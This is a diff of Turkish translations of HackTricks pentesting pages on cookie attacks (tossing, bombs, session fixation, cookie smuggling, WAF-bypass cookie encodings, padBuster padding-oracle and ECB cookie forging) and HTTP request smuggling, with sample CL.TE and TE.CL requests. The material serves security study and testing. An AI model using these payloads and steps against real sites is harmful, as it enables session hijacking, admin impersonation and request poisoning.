- Bu, **TRACE** **HTTP** istekleri ile aşılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
|
||||
- Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı aşmalar bulunmuştur.
|
||||
- Diğer bir yol, tarayıcıların sıfır/günlük açıklarını istismar etmektir.
|
||||
- Bir Çerez Kavanozu taşma saldırısı gerçekleştirerek **HttpOnly çerezlerini** **aşmak** mümkündür:
|
||||
@ -89,7 +89,7 @@ cookie-jar-overflow.md
|
||||
|
||||
### Çerezleri Aşma
|
||||
|
||||
Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından aşılmalarını engellemektir. Örneğin [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, çerezleri ayarlamak için alt alan adlarından \_\_HOST- ile başlayan çerezlerin ayarlanmasının mümkün olduğu, örneğin başına veya başına ve sonuna "=" ekleyerek parser'ı kandırarak sunulmuştur:
|
||||
Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından aşılmalarını engellemektir. Örneğin [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, çerezleri ayarlamak için alt alan adlarından \_\_HOST- ile başlayan çerezlerin ayarlanmasının mümkün olduğu, örneğin, başına veya başına ve sonuna "=" ekleyerek parser'ı kandırarak gösterilmiştir:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -111,7 +111,7 @@ Bu saldırı, bir kullanıcının çerezini çalarak uygulama içindeki hesabın
|
||||
|
||||
### Oturum Sabitleme
|
||||
|
||||
Bu senaryoda, bir saldırgan bir kurbanı belirli bir çerezi kullanarak giriş yapmaya kandırır. Uygulama giriş yapıldığında yeni bir çerez atamazsa, saldırgan, orijinal çerezi elinde bulundurarak kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerezle giriş yapmasına dayanır.
|
||||
Bu senaryoda, bir saldırgan bir kurbanı belirli bir çerezi kullanarak giriş yapmaya kandırır. Uygulama giriş yapıldığında yeni bir çerez atamıyorsa, saldırgan, orijinal çerezi elinde bulundurarak kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerezle giriş yapmasına dayanır.
|
||||
|
||||
Eğer bir **alt alan adında XSS bulduysanız** veya **bir alt alan adını kontrol ediyorsanız**, okuyun:
|
||||
|
||||
@ -121,7 +121,7 @@ cookie-tossing.md
|
||||
|
||||
### Oturum Bağışı
|
||||
|
||||
Burada, saldırgan kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kurban, kendi hesabında oturum açtığını düşünerek, istemeden saldırganın hesabı bağlamında eylemler gerçekleştirir.
|
||||
Burada, saldırgan kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kurban, kendi hesabında oturum açtığını düşünerek, saldırganın hesabı bağlamında istemeden eylemler gerçekleştirir.
|
||||
|
||||
Eğer bir **alt alan adında XSS bulduysanız** veya **bir alt alan adını kontrol ediyorsanız**, okuyun:
|
||||
|
||||
@ -133,7 +133,7 @@ cookie-tossing.md
|
||||
|
||||
JWT'deki olası hataları açıklayan bir sayfaya erişmek için önceki bağlantıya tıklayın.
|
||||
|
||||
Çerezlerde kullanılan JSON Web Token'lar (JWT) da zafiyetler içerebilir. Potansiyel hatalar ve bunların nasıl istismar edileceği hakkında derinlemesine bilgi için, JWT hacking ile ilgili bağlantılı belgeye erişilmesi önerilir.
|
||||
Çerezlerde kullanılan JSON Web Token'lar (JWT) da zafiyetler içerebilir. Potansiyel hatalar ve bunları nasıl istismar edeceğiniz hakkında derinlemesine bilgi için, JWT'yi hackleme ile ilgili bağlantılı belgeye erişmeniz önerilir.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
@ -147,7 +147,7 @@ document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Gönderilen çerez başlığındaki sonuç `a=v1; test value; b=v2;` şeklindedir. İlginç bir şekilde, bu, boş bir isim çerezi ayarlandığında çerezlerin manipüle edilmesine olanak tanır ve boş çerezi belirli bir değere ayarlayarak diğer çerezleri potansiyel olarak kontrol etme imkanı sağlar:
|
||||
Gönderilen çerez başlığındaki sonuç `a=v1; test value; b=v2;`. İlginç bir şekilde, bu, boş bir isim çerezi ayarlandığında çerezlerin manipüle edilmesine olanak tanır ve boş çerezi belirli bir değere ayarlayarak diğer çerezleri potansiyel olarak kontrol etme imkanı sağlar:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -155,7 +155,7 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Bu, tarayıcının her web sunucusu tarafından `a` adında ve `b` değerinde bir çerez olarak yorumlanan bir çerez başlığı göndermesine yol açar.
|
||||
Bu, tarayıcının her web sunucusu tarafından `a` adlı ve `b` değerine sahip bir çerez olarak yorumlanan bir çerez başlığı göndermesine yol açar.
|
||||
|
||||
#### Chrome Hatası: Unicode Yedek Kod Noktası Sorunu
|
||||
|
||||
@ -163,11 +163,11 @@ Chrome'da, bir Unicode yedek kod noktası ayarlanmış bir çerezin parçasıysa
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Bu, `document.cookie`'nin boş bir dize döndürmesine neden olur ve kalıcı bir bozulmayı gösterir.
|
||||
Bu, `document.cookie`'nin boş bir dize döndürmesiyle sonuçlanır ve kalıcı bir bozulmayı gösterir.
|
||||
|
||||
#### Ayrıştırma Sorunlarından Kaynaklanan Cookie Smuggling
|
||||
|
||||
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla değer içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar; bu, normalde anahtar-değer çiftlerini ayıran noktalı virgülleri içermelidir:
|
||||
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla noktalı virgül içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar; bu, normalde anahtar-değer çiftlerini ayırması gereken bir durumdur:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
@ -183,22 +183,22 @@ Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özell
|
||||
|
||||
### Cookies $version and WAF bypasses
|
||||
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), arka ucu çerezi analiz etmek için eski bir mantığı kullanmaya zorlamak amacıyla **`$Version=1`** çerez niteliğinin kullanılabileceği mümkündür, bu da **RFC2109**'dan kaynaklanmaktadır. Ayrıca, **`$Domain`** ve **`$Path`** gibi diğer değerler, çerezle arka ucun davranışını değiştirmek için kullanılabilir.
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), arka ucu çerezi analiz etmek için eski bir mantığı kullanmaya zorlamak amacıyla **`$Version=1`** çerez niteliğinin kullanılabileceği mümkündür. Ayrıca, **`$Domain`** ve **`$Path`** gibi diğer değerler de çerezi kullanarak arka ucun davranışını değiştirmek için kullanılabilir.
|
||||
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Bu analiz, çerezler içindeki kaçış karakterlerini çözmek için kaçış değerlerini geri almayı gösterir, böylece "\a" "a" olur. Bu, WAF'ları aşmak için yararlı olabilir:
|
||||
Bu analiz, çerezler içindeki kaçış karakterlerini çözmek için işaret eder, böylece "\a" "a" olur. Bu, WAF'ları aşmak için yararlı olabilir:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
RFC2109'da, **bir virgülün çerez değerleri arasında ayırıcı olarak kullanılabileceği** belirtilmiştir. Ayrıca, **eşittir işaretinden önce ve sonra boşluklar ve sekmeler eklemek mümkündür**. Bu nedenle, `$Version=1; foo=bar, abc = qux` gibi bir çerez, `"foo":"bar, admin = qux"` çerezini oluşturmaz, bunun yerine `foo":"bar"` ve `"admin":"qux"` çerezlerini oluşturur. İki çerez nasıl oluşturulmuş ve admin'in eşittir işaretinden önce ve sonra boşluğun nasıl kaldırıldığına dikkat edin.
|
||||
RFC2109'da, **virgülün çerez değerleri arasında bir ayırıcı olarak kullanılabileceği** belirtilmiştir. Ayrıca, eşittir işaretinden önce ve sonra **boşluklar ve sekmeler eklemek** de mümkündür. Bu nedenle, `$Version=1; foo=bar, abc = qux` gibi bir çerez, `"foo":"bar, admin = qux"` çerezini oluşturmaz, bunun yerine `foo":"bar"` ve `"admin":"qux"` çerezlerini oluşturur. İki çerez nasıl oluşturulmuş ve admin'in eşittir işaretinden önce ve sonra boşluğun nasıl kaldırıldığına dikkat edin.
|
||||
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Son olarak, farklı arka kapılar, farklı çerez başlıklarında iletilen farklı çerezleri bir dize içinde birleştirecektir.
|
||||
Son olarak, farklı arka kapılar, farklı çerez başlıklarında iletilen farklı çerezleri bir dize içinde birleştirebilir: 
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -220,13 +220,13 @@ Resulting cookie: name=eval('test//, comment') => allowed
|
||||
- Çıkış yapın ve aynı çerezi kullanmaya çalışın.
|
||||
- Aynı çerezi kullanarak 2 cihazda (veya tarayıcıda) aynı hesaba giriş yapmayı deneyin.
|
||||
- Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve bunu değiştirmeye çalışın.
|
||||
- Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri görüp göremediğinizi kontrol edin.
|
||||
- Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri görebiliyor musunuz kontrol edin.
|
||||
- Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve hassas olabileceğini düşünüyorsanız, her zaman başka bir çerez olmadan **beni hatırla** çerezini kullanın.
|
||||
- Önceki çerezin şifreyi değiştirdikten sonra bile çalışıp çalışmadığını kontrol edin.
|
||||
|
||||
#### **Gelişmiş çerez saldırıları**
|
||||
|
||||
Çerez giriş yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bir alanla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz:
|
||||
Çerez giriş yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bazı alanlarla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz:
|
||||
|
||||
- Çok **benzer** kullanıcı adlarına sahip birçok **hesap** oluşturmaya çalışın ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın.
|
||||
- **Kullanıcı adını brute force** etmeyi deneyin. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır.
|
||||
@ -244,7 +244,7 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
|
||||
```
|
||||
Padbuster birkaç deneme yapacak ve size hangi durumun hata durumu olduğunu soracaktır (geçersiz olan).
|
||||
|
||||
Ardından çerezi şifrelemeye başlayacaktır (bu birkaç dakika sürebilir).
|
||||
Ardından çerezi deşifre etmeye başlayacaktır (bu birkaç dakika sürebilir).
|
||||
|
||||
Eğer saldırı başarıyla gerçekleştirilmişse, o zaman seçtiğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, **encrypt** **user=administrator** istiyorsanız.
|
||||
```
|
||||
@ -269,11 +269,11 @@ Giriş yaptığınızda aldığınız çerez her zaman aynı olmalıdır.
|
||||
|
||||
**Nasıl tespit edilir ve saldırılır:**
|
||||
|
||||
Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (kullanıcı adı, şifre, e-posta vb.) ve verilen çerez içinde bir desen keşfetmeye çalışın.
|
||||
Neredeyse aynı verilere (kullanıcı adı, şifre, e-posta vb.) sahip 2 kullanıcı oluşturun ve verilen çerez içinde bir desen keşfetmeye çalışın.
|
||||
|
||||
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (çünkü ECB her bloğu aynı anahtar ile şifrelediğinden, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
|
||||
|
||||
Kullanılan bir bloğun boyutunda bir desen olmalıdır. Yani, bir grup "a"nın nasıl şifrelendiğini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"*(bloğun boyutu)+"admin". Ardından, çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız.
|
||||
Kullanılan bir bloğun boyutunda bir desen olmalıdır. Yani, bir grup "a" nasıl şifrelendiğini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"\*(bloğun boyutu)+"admin". Sonra, çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**`Cookie bomb`**, bir **alan adına ve alt alanlarına hedeflenen büyük sayıda büyük çerez eklemeyi** içerir. Bu eylem, mağdurun **aşırı boyutlu HTTP istekleri** göndermesine neden olur ve bu istekler **sunucu tarafından reddedilir**. Bunun sonucu, o alan ve alt alanlar içindeki bir kullanıcıya özel olarak hedeflenen bir Hizmet Reddi (DoS) indüksiyonudur.
|
||||
**`Cookie bomb`**, bir **alan adına ve alt alanlarına hedeflenen büyük sayıda büyük çerez eklemeyi** içerir. Bu eylem, kurbanın **aşırı boyutlu HTTP istekleri** göndermesine neden olur ve bu istekler **sunucu tarafından reddedilir**. Bunun sonucu, o alan ve alt alanlar içindeki bir kullanıcıya özel olarak hedeflenmiş bir Hizmet Reddi (DoS) indüksiyonudur.
|
||||
|
||||
Güzel bir **örnek**, bu yazıda görülebilir: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||
|
||||
|
||||
@ -14,16 +14,16 @@ Cookies Hacking bölümünde belirtildiği gibi, **bir çerez bir alana (belirte
|
||||
Bu tehlikeli olabilir çünkü saldırgan:
|
||||
|
||||
- **Mağdurun çerezini saldırganın hesabına sabitleyebilir**, böylece kullanıcı fark etmezse, **saldırganın hesabında işlemleri gerçekleştirebilir** ve saldırgan bazı ilginç bilgilere ulaşabilir (kullanıcının platformdaki arama geçmişini kontrol etmek, mağdurun hesabında kredi kartı ayarlaması yapması...)
|
||||
- Eğer **çerez giriş yaptıktan sonra değişmiyorsa**, saldırgan sadece **bir çerezi sabitleyebilir (session-fixation)**, mağdur giriş yapana kadar bekleyebilir ve sonra **o çerezi kullanarak mağdur olarak giriş yapabilir**.
|
||||
- Eğer **çerez giriş yaptıktan sonra değişmiyorsa**, saldırgan sadece **bir çerezi sabitleyebilir (session-fixation)**, mağdur giriş yapana kadar bekleyebilir ve ardından **o çerezi kullanarak mağdur olarak giriş yapabilir**.
|
||||
- Bazen, oturum çerezleri değişse bile, saldırgan önceki çerezi kullanabilir ve yeni çerezi de alabilir.
|
||||
- Eğer **çerez bazı başlangıç değerleri ayarlıyorsa** (flask'ta olduğu gibi, burada **çerez** **oturumun CSRF token'ını ayarlayabilir ve bu değer mağdur giriş yaptıktan sonra korunur), **saldırgan bu bilinen değeri ayarlayabilir ve sonra bunu kötüye kullanabilir** (bu senaryoda, saldırgan daha sonra kullanıcının CSRF token'ını bildiği için bir CSRF isteği gerçekleştirmesini sağlayabilir).
|
||||
- Eğer **çerez bazı başlangıç değerleri ayarlıyorsa** (flask'ta olduğu gibi, burada **çerez** **oturumun CSRF token'ını ayarlayabilir ve bu değer mağdur giriş yaptıktan sonra korunur), **saldırgan bu bilinen değeri ayarlayabilir ve ardından bunu kötüye kullanabilir** (bu senaryoda, saldırgan daha sonra kullanıcının CSRF token'ını bildiği için bir CSRF isteği gerçekleştirmesini sağlayabilir).
|
||||
- Değeri ayarlamak gibi, saldırgan ayrıca sunucu tarafından oluşturulan kimlik doğrulaması yapılmamış bir çerezi alabilir, ondan CSRF token'ını alabilir ve bunu kullanabilir.
|
||||
|
||||
### Çerez Sırası
|
||||
|
||||
Bir tarayıcı, **aynı isimde iki çerez aldığında ve bu çerezler aynı kapsamı (alan, alt alanlar ve yol) kısmen etkiliyorsa**, **tarayıcı her iki çerezin değerini de** geçerli olduğu sürece istekte gönderecektir.
|
||||
|
||||
Kimin **en spesifik yolu** olduğu veya hangisinin **en eski olduğu** dikkate alınarak, tarayıcı **önce çerezin değerini ayarlayacak** ve sonra diğerinin değerini ayarlayacaktır, örneğin: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
Kimin **en spesifik yolu** olduğu veya hangisinin **en eski olduğu** dikkate alınarak, tarayıcı **önce çerezin değerini ayarlayacak** ve ardından diğerinin değerini ayarlayacaktır, örneğin: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
Çoğu **web sitesi yalnızca ilk değeri kullanacaktır**. Bu nedenle, bir saldırgan bir çerez ayarlamak istiyorsa, başka bir çerez ayarlanmadan önce ayarlamak veya daha spesifik bir yol ile ayarlamak daha iyidir.
|
||||
|
||||
@ -34,7 +34,7 @@ Kimin **en spesifik yolu** olduğu veya hangisinin **en eski olduğu** dikkate a
|
||||
|
||||
Bu saldırıya karşı olası bir koruma, **web sunucusunun aynı isimde ancak iki farklı değere sahip iki çerezi kabul etmemesi** olabilir.
|
||||
|
||||
Saldırganın mağdurun çerezi verildikten sonra bir çerez ayarladığı senaryoyu aşmak için, saldırgan bir **çerez taşması** oluşturabilir ve sonra, **geçerli çerez silindikten sonra, kötü niyetli olanı ayarlayabilir**.
|
||||
Saldırganın mağdurun çerezini aldıktan sonra bir çerez ayarladığı senaryosunu aşmak için, saldırgan bir **çerez taşması** oluşturabilir ve ardından, **geçerli çerez silindikten sonra, kötü niyetli olanı ayarlayabilir**.
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
@ -54,7 +54,7 @@ cookie-bomb.md
|
||||
|
||||
#### **Çerez adında `__Host` ön ekini kullanın**
|
||||
|
||||
- Eğer bir çerez adı bu ön eki taşıyorsa, **yalnızca Set-Cookie direktifinde kabul edilecektir** eğer Güvenli olarak işaretlenmişse, güvenli bir kaynaktan gönderilmişse, bir Alan niteliği içermiyorsa ve Yol niteliği / olarak ayarlanmışsa.
|
||||
- Eğer bir çerez adı bu ön eki taşıyorsa, **yalnızca Set-Cookie direktifinde** Güvenli olarak işaretlenmişse, güvenli bir kaynaktan gönderilmişse, bir Alan niteliği içermiyorsa ve Yol niteliği / olarak ayarlanmışsa **kabul edilecektir**.
|
||||
- **Bu, alt alanların çerezi ana alana zorlamasını engeller çünkü bu çerezler "alan kilitli" olarak görülebilir.**
|
||||
|
||||
### Referanslar
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Nedir
|
||||
|
||||
Bu zafiyet, **ön uç proxyleri** ile **arka uç** sunucusu arasında bir **senkronizasyon bozukluğu** olduğunda, bir **saldırganın** HTTP **isteği** göndermesine olanak tanır; bu istek **ön uç** proxyleri (yük dengeleme/ters proxy) tarafından **tek bir istek** olarak ve **arka uç** sunucusu tarafından **2 istek** olarak **yorumlanır**.\
|
||||
Bu zafiyet, **ön uç proxyleri** ile **arka uç** sunucusu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** **göndermesine** olanak tanır. HTTP **isteği**, **ön uç** proxyleri (yük dengeleme/ters proxy) tarafından **tek bir istek** olarak ve **arka uç** sunucusu tarafından **2 istek** olarak **yorumlanır**.\
|
||||
Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değiştirmesine** olanak tanır.
|
||||
|
||||
### Teori
|
||||
@ -25,13 +25,13 @@ Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değişt
|
||||
### Gerçeklik
|
||||
|
||||
**Ön Uç** (bir yük dengeleme / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını **işler** ve **Arka Uç** sunucusu **diğerini** işleyerek iki sistem arasında bir **senkronizasyon bozukluğu** yaratır.\
|
||||
Bu, **bir saldırganın ters proxyye bir istek göndermesine** olanak tanır; bu istek **arka uç** sunucusu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucusunun **2. isteği** enjekte edilmiş gibi **yorumlaması** ve o istemcinin **gerçek isteğinin** **enjekte edilen isteğin** bir parçası olmasıdır.
|
||||
Bu, **bir saldırganın ters proxyye bir istek göndermesine** olanak tanır ve bu istek **arka uç** sunucusu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucusunun **enjekte edilen 2. isteği** sanki **bir sonraki istemciden geliyormuş** gibi **yorumlamasında** yatar ve o istemcinin **gerçek isteği**, **enjekte edilen isteğin** bir **parçası** olacaktır.
|
||||
|
||||
### Özellikler
|
||||
|
||||
HTTP'de **yeni bir satır karakteri 2 bayttan oluşur:**
|
||||
|
||||
- **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin, son karakterde bitmesi beklenir; **isteğin sonunda yeni bir satıra ihtiyaç yoktur**.
|
||||
- **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra ihtiyaç yoktur**.
|
||||
- **Transfer-Encoding:** Bu başlık, **gövde** içinde bir **onaltılık sayı** kullanarak **bir sonraki parçanın** **bayt** sayısını belirtir. **Parça**, **yeni bir satır** ile **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satır** ile bitmelidir: `0`
|
||||
- **Connection**: Deneyimlerime dayanarak, istek Smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.
|
||||
|
||||
@ -81,7 +81,7 @@ Foo: x
|
||||
|
||||
- Saldırgan, parça boyutunun (`7b`) ve gerçek içerik uzunluğunun (`Content-Length: 4`) uyum sağlamadığı bir parça isteği gönderir.
|
||||
- Ön uç sunucusu, `Transfer-Encoding`e saygı göstererek tüm isteği arka uca iletir.
|
||||
- Arka uç sunucusu, `Content-Length`e saygı göstererek isteğin yalnızca başlangıç kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
|
||||
- Arka uç sunucusu, `Content-Length`e saygı göstererek isteğin yalnızca ilk kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -109,7 +109,7 @@ x=
|
||||
|
||||
- Saldırgan, obfuscate edilmiş `Transfer-Encoding` başlıkları ile bir istek gönderir.
|
||||
- Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL zafiyeti sömürülebilir.
|
||||
- İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğünde, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
|
||||
- İsteğin işlenmemiş kısmı, sunuculardan birinin gördüğü gibi, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -146,8 +146,8 @@ Normal Request
|
||||
|
||||
#### **CL.0 Senaryosu**
|
||||
|
||||
- `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, istek gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (bu 0 olarak kabul edilir), ancak ön uç bunu işler.
|
||||
- Smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu belirlemesini etkiler.
|
||||
- `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder, bu da isteğin gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (bu 0 olarak kabul edilir), ancak ön uç bunu işler.
|
||||
- Bu, smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu belirlemesini etkiler.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -189,7 +189,7 @@ Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırmanın** mümkü
|
||||
|
||||
#### Hop-by-hop başlıkları ile zorlamak
|
||||
|
||||
Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir, böylece HTTP isteği kaçırma kötüye kullanılabilir**.
|
||||
Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir ve böylece HTTP isteği kaçırma saldırısını kötüye kullanmak mümkün hale gelebilir**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
@ -224,7 +224,7 @@ A
|
||||
|
||||
- **Gözlem:**
|
||||
- Ön uç sunucu, isteği `Content-Length` temelinde işler ve mesajı erken keser.
|
||||
- Arka uç sunucu, parçalı bir mesaj bekleyerek, asla gelmeyecek olan bir sonraki parçayı bekler ve bu da bir gecikmeye neden olur.
|
||||
- Arka uç sunucu, parçalı bir mesaj beklediğinden, asla gelmeyen bir sonraki parçayı bekler ve bu da bir gecikmeye neden olur.
|
||||
|
||||
- **Göstergeler:**
|
||||
- Yanıt sürelerinde zaman aşımı veya uzun gecikmeler.
|
||||
@ -250,7 +250,7 @@ X
|
||||
|
||||
- **Gözlem:**
|
||||
- Ön uç sunucu, isteği `Transfer-Encoding` temelinde işler ve tüm mesajı iletir.
|
||||
- Arka uç sunucu, `Content-Length` temelinde bir mesaj bekleyerek, asla gelmeyecek olan ek veriyi bekler ve bu da bir gecikmeye neden olur.
|
||||
- Arka uç sunucu, `Content-Length` temelinde bir mesaj beklediğinden, asla gelmeyen ek verileri bekler ve bu da bir gecikmeye neden olur.
|
||||
|
||||
### Zafiyetleri Bulmak için Diğer Yöntemler
|
||||
|
||||
@ -274,16 +274,16 @@ Diğer isteklerle müdahale ederek istek kaçırma zafiyetlerini test ederken, a
|
||||
- **Ayrı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her iki istek için aynı bağlantıyı kullanmak, zafiyetin varlığını doğrulamaz.
|
||||
- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle istekleri URL ve parametrelere göre belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için bir ön koşuldur.
|
||||
- **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmek için diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin zafiyet doğrulaması için birden fazla deneme gerektirebilir.
|
||||
- **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucuları, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birkaç deneme gerektirebilir.
|
||||
